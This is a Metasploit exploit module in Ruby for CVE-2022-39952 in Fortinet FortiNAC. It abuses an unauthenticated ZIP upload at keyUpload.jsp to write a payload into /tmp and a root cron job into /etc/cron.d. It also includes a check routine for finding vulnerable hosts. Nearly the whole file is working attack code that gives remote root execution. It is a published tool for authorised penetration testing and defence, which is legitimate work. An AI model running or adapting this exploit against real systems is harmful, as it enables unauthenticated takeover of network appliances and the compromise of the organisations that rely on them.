##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortinet FortiNAC keyUpload.jsp arbitrary file write',
        'Description' => %q{
          This module uploads a payload to the /tmp directory in addition to a cron job
          to /etc/cron.d which executes the payload in the context of the root user.

          The core vulnerability is an arbitrary file write issue in /configWizard/keyUpload.jsp which
          is accessible remotely and without authentication. When you send the vulnerable
          endpoint a ZIP file, it will extract an attacker controlled file to a directory
          of the attackers choice on the target system.

          This issue is exploitable on the following versions of FortiNAC:

          FortiNAC version 9.4 prior to 9.4.1
          FortiNAC version 9.2 prior to 9.2.6
          FortiNAC version 9.1 prior to 9.1.8
          FortiNAC 8.8 all versions
          FortiNAC 8.7 all versions
          FortiNAC 8.6 all versions
          FortiNAC 8.5 all versions
          FortiNAC 8.3 all versions
        },
        'Author' => [
          'Gwendal Guégniaud', # discovery
          'Zach Hanley',       # PoC
          'jheysel-r7'         # module
        ],
        'References' => [
          ['URL', 'https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/'],
          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-300'],
          ['URL', 'https://github.com/horizon3ai/CVE-2022-39952'],
          ['URL', 'https://attackerkb.com/topics/9BvxYuiHYJ/cve-2022-39952'],
          ['CVE', '2022-39952']
        ],
        'License' => MSF_LICENSE,
        'Platform' => %w[linux unix],
        'Privileged' => true,
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 8443,
          'WfsDelay' => '75'
        },
        'Arch' => [ ARCH_CMD, ARCH_X64, ARCH_X86 ],
        'Targets' => [
          [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-02-16',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'),
      'method' => 'POST'
    })

    return Exploit::CheckCode::Unknown('Target did not respond') unless res
    return Exploit::CheckCode::Safe("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200
    return Exploit::CheckCode::Appears('Target indicated a successful upload occurred!') if res.body.include?('yams.jsp.portal.SuccessfulUpload')

    Exploit::CheckCode::Safe('The target responded with a 200 OK message, however the response to our POST request with a blank body did not contain the expected upload successful message!')
  end

  def zip_file(filepath, contents)
    zip = Rex::Zip::Archive.new
    zip.add_file(filepath, contents)

    zip.pack
  end

  def send_zip_file(filename, contents, file_description)
    mime = Rex::MIME::Message.new
    mime.add_part(contents, nil, 'binary', "form-data; name=\"key\"; filename=\"#{filename}\"")

    print_status("Sending zipped #{file_description} to /configWizard/keyUpload.jsp")
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => mime.to_s
    })
    fail_with(Failure::Unknown, 'Failed to send the ZIP file to /configWizard/keyUpload.jsp') unless res && res.code == 200 && res.body.include?('yams.jsp.portal.SuccessfulUpload')
    print_good('Successfully sent ZIP file')
  end

  def cron_file(command)
    cron_file = 'SHELL=/bin/sh'
    cron_file << "\n"
    cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
    cron_file << "\n"
    cron_file << "* * * * * root #{command}"
    cron_file << "\n"

    cron_file
  end

  def exploit
    cron_filename = Rex::Text.rand_text_alpha(8)
    cron_path = '/etc/cron.d/' + cron_filename

    case target['Arch']
    when ARCH_CMD
      cron_command = payload.raw
    when ARCH_X64, ARCH_X86
      payload_filename = Rex::Text.rand_text_alpha(8)
      payload_path = '/tmp/' + payload_filename
      payload_data = payload.encoded_exe
      cron_command = "chmod +x #{payload_path} && #{payload_path}"

      # zip and send payload
      zipped_payload = zip_file(payload_path, payload_data)
      send_zip_file(payload_filename, zipped_payload, 'payload')
      register_dirs_for_cleanup(payload_path)
    else
      fail_with(Failure::BadConfig, 'Invalid target architecture selected')
    end

    # zip and send cron job
    zipped_cron = zip_file(cron_path, cron_file(cron_command))
    send_zip_file(cron_filename, zipped_cron, 'cron job')
    register_dirs_for_cleanup(cron_path)

    print_status('Waiting for cron job to run')
  end
end
